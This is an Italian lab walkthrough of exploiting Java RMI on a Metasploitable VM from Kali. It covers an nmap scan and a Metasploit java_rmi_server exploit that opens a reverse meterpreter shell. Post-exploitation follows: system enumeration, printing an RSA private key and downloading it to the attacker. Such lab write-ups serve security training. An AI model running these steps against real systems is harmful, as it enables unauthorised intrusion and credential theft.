

Walkthrough vulnerabilità Java-rmi

Macchine usate:

- **attaccante: Kali Linux**
- **vittima: metasploitable**

Tool utilizzati:

- **nmap**
- **metasploit – modulo exploit/multi/misc/java_rmi_server**

Obiettivo:

- **esecuzione codice da remoto da parte dell'attaccante**
- **ottenere info sensibili all'interno del sistema vittima**

Configurazione iniziale

Anzitutto configuro le interfacce di rete in maniera che Kali abbia l'ip 192.168.1.111 e metasploitable abbia 192.168.1.112 modificando i file di configurazione con il comando:

`sudo nano /etc/network/interfaces`

```
└─$ sudo nano /etc/network/interfaces
[sudo] password di beskarieth:
```

modifico il file su kali come segue

```
source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.111/24
gateway 192.168.1.1

#auto eth1
#iface eth1 inet static
#address 192.168.1.101/24
#gateway 192.168.1.1
```

e su metasploitable

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.112
netmask 255.255.255.0
network 192.168.1.255
gateway 192.168.1.1
```

Scansione sistema target

Eseguo una scansione nmap da kali verso metasploitable su tutte le porte con il comando

`nmap -sV -A -p- 192.168.1.112`

```
(heskari0th@kali)-[~]
$ nmap -sV -A -p- 192.168.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-09 11:05 CEST
Nmap scan report for 192.168.1.112
Host is up (0.00022s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_   Connected to 192.168.1.111
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_ 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp          Postfix smtpd
|_smtp_commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp    open  domain        ISC BIND 9.4.2
|_dns-nsid:
|_ bind.version: 9.4.2
80/tcp    open  http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind       2 (RPC #100000)
|_rpcinfo:
|_  program version    port/proto  service
|_  100000  2                111/tcp    rpcbind
|_  100000  2                111/udp    rpcbind
|_  100003  2,3,4           2049/tcp   nfs
|_  100003  2,3,4           2049/udp   nfs
|_  100005  1,2,3           40810/tcp  mountd
|_  100005  1,2,3           45557/udp  mountd
|_  100021  1,3,4           41542/udp  nlockmgr
|_  100021  1,3,4           42214/tcp  nlockmgr
|_  100024  1                46660/udp  status
|_  100024  1                47671/tcp  status
139/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn   Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec          netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell         Netkit rshd
1099/tcp  open  java-rmi      GNU Classpath grmiregistry
```

Possiamo notare che sulla porta 1099/tcp è attivo un servizio java-rmi.

Sfruttamento vulnerabilità

Eseguo quindi metasploit su kali tramite il comando *msfconsole*

```
(heskari0th@kali)-[~]
$ msfconsole

(( _ , , _ ))
( ) o o ( ) _____
      |   |   |
hash.t o_o \ M S F r n s v e
          |   |   | | | |
          ||| ww|||
          |||   |||

= [ metasploit v6.3.16-dev ]
+ -- == [ 2315 exploits - 1208 auxiliary - 412 post ]
+ -- == [ 975 payloads - 46 encoders - 11 nops ]
+ -- == [ 9 evasion ]

Metasploit tip: Use the edit command to open the
currently active module in your editor
Metasploit Documentation: https://docs.metasploit.com/
```

E cerco java rmi fra i moduli di metasploit

```
msf6 > search java_rmi

Matching Modules



| # | Name                                           | Disclosure Date | Rank      | Check | Description                                                        |
|---|------------------------------------------------|-----------------|-----------|-------|--------------------------------------------------------------------|
| 0 | auxiliary/gather/java_rmi_registry             |                 | normal    | No    | Java RMI Registry Interfaces Enumeration                           |
| 1 | exploit/multi/misc/java_rmi_server             | 2011-10-15      | excellent | Yes   | Java RMI Server Insecure Default Configuration Java Code Execution |
| 2 | auxiliary/scanner/misc/java_rmi_server         | 2011-10-15      | normal    | No    | Java RMI Server Insecure Endpoint Code Execution Scanner           |
| 3 | exploit/multi/browser/java_rmi_connection_impl | 2010-03-31      | excellent | No    | Java RMIConnectionImpl Deserialization Privilege Escalation        |



Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 >
```

il modulo alla riga 1, *exploit/multi/misc/java_rmi_server* permette l'esecuzione di codice da remoto su server java con configurazioni di default.

Carico quindi il modulo con *use 1*

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

Verifico le opzioni da avvalorare tramite il comando *show options*

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.111   | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) >
```

Avvaloro il campo RHOSTS con *set rhosts 192.168.1.112*

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.1.112
rhosts => 192.168.1.112
msf6 exploit(multi/misc/java_rmi_server) >
```

Eseguo quindi l'exploit, ottenendo una shell di meterpreter

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.1.111:4444
[*] 192.168.1.112:1099 - Using URL: http://192.168.1.111:8080/GCJ100z0Stg1
[*] 192.168.1.112:1099 - Server started.
[*] 192.168.1.112:1099 - Sending RMI Header ...
[*] 192.168.1.112:1099 - Sending RMI Call ...
[*] 192.168.1.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.1.112
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.112:48846) at 2023-06-09 11:19:03 +0200

meterpreter >
```

Posso quindi:

1. conoscere la configurazione di rete della macchina vittima con il comando *ifconfig*

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe54:4d2b
IPv6 Netmask : ::
```

2. la tabella di routing con il comando *route*

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.1.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe54:4d2b	::	::		

3. Oppure lo user id con *getuid*

```
meterpreter > getuid
```

Server username: root

4. Le informazioni di sistema con il comando *sysinfo*

```
meterpreter > sysinfo
```

Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter : java/linux

5. i processi attivi con *ps*

meterpreter > ps

Process List

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[migration/1]	root	[migration/1]
7	[ksoftirqd/1]	root	[ksoftirqd/1]
8	[watchdog/1]	root	[watchdog/1]
9	[events/0]	root	[events/0]
10	[events/1]	root	[events/1]
11	[khelper]	root	[khelper]
46	[kblockd/0]	root	[kblockd/0]
47	[kblockd/1]	root	[kblockd/1]
50	[kacpid]	root	[kacpid]
51	[kacpi_notify]	root	[kacpi_notify]
97	[kseriod]	root	[kseriod]
139	[pdflush]	root	[pdflush]
140	[pdflush]	root	[pdflush]
141	[kswapd0]	root	[kswapd0]
183	[aio/0]	root	[aio/0]
184	[aio/1]	root	[aio/1]
1151	[ksnapd]	root	[ksnapd]
1339	[ksuspend_usbd]	root	[ksuspend_usbd]
1343	[khubd]	root	[khubd]
1353	[ata/0]	root	[ata/0]
2017	[ata/1]	root	[ata/1]
2018	[ata_aux]	root	[ata_aux]
2090	[scsi_eh_0]	root	[scsi_eh_0]
2106	[scsi_eh_1]	root	[scsi_eh_1]
2108	[scsi_eh_2]	root	[scsi_eh_2]
2246	[kjournald]	root	[kjournald]
2400	/sbin/udevd	root	/sbin/udevd --daemon
2621	[kpsmoused]	root	[kpsmoused]
3583	[kjournald]	root	[kjournald]
3716	/sbin/portmap	daemon	/sbin/portmap
3732	/sbin/rpc.statd	statd	/sbin/rpc.statd
3739	[rpciod/0]	root	[rpciod/0]
3740	[rpciod/1]	root	[rpciod/1]
3758	/usr/sbin/rpc.idmapd	root	/usr/sbin/rpc.idmapd
3985	/sbin/getty	root	/sbin/getty 38400 tty4
3986	/sbin/getty	root	/sbin/getty 38400 tty5
3988	/sbin/getty	root	/sbin/getty 38400 tty2
3989	/sbin/getty	root	/sbin/getty 38400 tty3
3992	/sbin/getty	root	/sbin/getty 38400 tty6
4034	/sbin/syslogd	syslog	/sbin/syslogd -u syslog
4069	/bin/dd	root	/bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
4071	/sbin/klogd	klog	/sbin/klogd -P /var/run/klogd/kmsg

6. spostarmi all'interno delle directory della macchina vittima, ad esempio in 'msfadmin' con *cd /home/msfadmin* per poi leggerne il contenuto con *ls*

meterpreter > cd /home/msfadmin

meterpreter > ls

Listing: /home/msfadmin

Mode	Size	Type	Last modified	Name
100667/rw-rw-rwx	0	fil	2010-03-17 00:01:07 +0100	.bash_history
040667/rw-rw-rwx	4096	dir	2010-04-17 20:11:00 +0200	.distcc
100667/rw-rw-rwx	4174	fil	2012-05-14 08:01:49 +0200	.mysql_history
100667/rw-rw-rwx	586	fil	2010-03-17 00:12:59 +0100	.profile
100667/rw-rw-rwx	4	fil	2012-05-20 20:22:32 +0200	.rhosts
040667/rw-rw-rwx	4096	dir	2010-05-18 03:43:18 +0200	.ssh
100667/rw-rw-rwx	0	fil	2010-05-07 20:38:35 +0200	.sudo_as_admin_successful
100666/rw-rw-rw-	609	fil	2023-06-06 20:03:52 +0200	authorized_keys
100666/rw-rw-rw-	1675	fil	2023-06-06 20:03:37 +0200	id_rsa
100666/rw-rw-rw-	405	fil	2023-06-06 20:04:00 +0200	id_rsa.pub
040666/rw-rw-rw-	4096	dir	2010-04-28 05:44:17 +0200	vulnerable

7. Ed ottenere ad esempio le chiavi RSA

```
meterpreter > cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEApmGJFZNL0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqlD
JkcteZZdPFSbW76IUIPR00h+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2q0
ffdomVhvXXvSjGaSFwwOYB8R0Qxs0WWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5
JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9I
yhtRWocyQPE+kCP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2Owkj0c+Wv8Vw7b
wkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3wIBIwKCAQBAUjR5bUXnHGA5fd8N
UqrUx0zeBQsKlv1bK5DVm1GSzLj4TU/S83B1NF5/1ihzofI70AQvLCdUY2tHpGGa
zQ6ImSpUQ5i9+GgBU0aklRL/i9cHdFv7PsonW+SvF1UKY5EidEJRb/O6oFgB5q8G
JKrwu+HPNhvD+dliBnCn0JU+Op/1Af7XxAP814Rz0nZZwx+9KBWvdAABBIQ5zpR0
eBBLSGDsnsQN/lG7w8sHDqsSt2BCK8c9ct31n14TK6Hg0x3EuSbisEmKKwhWV6/
ui/qWrrzurXA4Q73w01cPtPg4sx2JBh3EMRm9tfyCCtB1gBi0N/2L7j9xuZGGY6h
JETbAoGBANI8HzRjytWBMvXh6TnMOa5S7GjoLjdA3HXhekyd9DHywra1pby5nWP7
VNP+ORL/sSNl+jugKOVQYWG61HZYHk+OQVo3qLieCBtp3GLsYGzANA/EDHmYMUSm
4v3WnhgYMXMDxZemTcGEyLwurPHumgy5nygSEuNDKUFfw03mymIXAoGBAMqZi3YL
zDpL9Ydj6Jh051aoQVT91LpWMCgK5sREhAliWTWjlrkroqyaWAUQYkLeyA8yUPZ
PufBmr00FkNa+4825vg48dyq6CVobHHR/GcjAzXiengi6i/tzHbA0PEai0aUmvwY
OasZYEQI47geBvVD3v7D/gPDQNoXG/PWIpt5AoGBAMw6Z3S4tmkBKjCvkhrrjpb9J
PW05UXeA1ilesVG+Ayk096PcV9vngvNpLdVAGi+2jtHuCQa5PEx5+DLav8Nriyi2
E5l35bqoiilCQ83PriCAMpL49iz6Pn00Z3o+My1ZVJudQ5qhjVznY+oBdM3DNpAE
xn6yeL+DEiI/XbPngsWvAoGAbfuU2a6iEQSp28iFLIKa10VLS2U493CdZjg0IwCF
2TVjoMaFMcyZQ/pzt9B7WQY7hodl8aHRsQKzERieXxQiKSxuwUN7+3K4iVXxuiGJ
BMndK+FYbRpEnaz591K6kYNwLaEg70BZ0ek0QjC2Ih7t1ZnfdFvEaHFPF05foaAg
iIMCgYASnZut02SC6hwwaWh3Uxr07s6jB8HyrET0v1v0y0e3xSJ9YPt7c1Y200Q0
Fb3Yq4pdHm7AosAgtfC1eQi/xbXP73kloEmg39NZAfT3wg817FXiS2QGhXJ4/dmK
94Z9X0EDocClV7hr9H//ho08fV/PHXh0oFQvw1d+29nf+sgWDg=
-----END RSA PRIVATE KEY-----
```

8. E scaricarle sulla mia macchina per un utilizzo successivo con *download id_rsa*

```
meterpreter > download id_rsa
[*] Downloading: id_rsa -> /home/heskarioth/id_rsa
[*] Downloaded 1.64 KiB of 1.64 KiB (100.0%): id_rsa -> /home/heskarioth/id_rsa
[*] Completed : id_rsa -> /home/heskarioth/id_rsa
```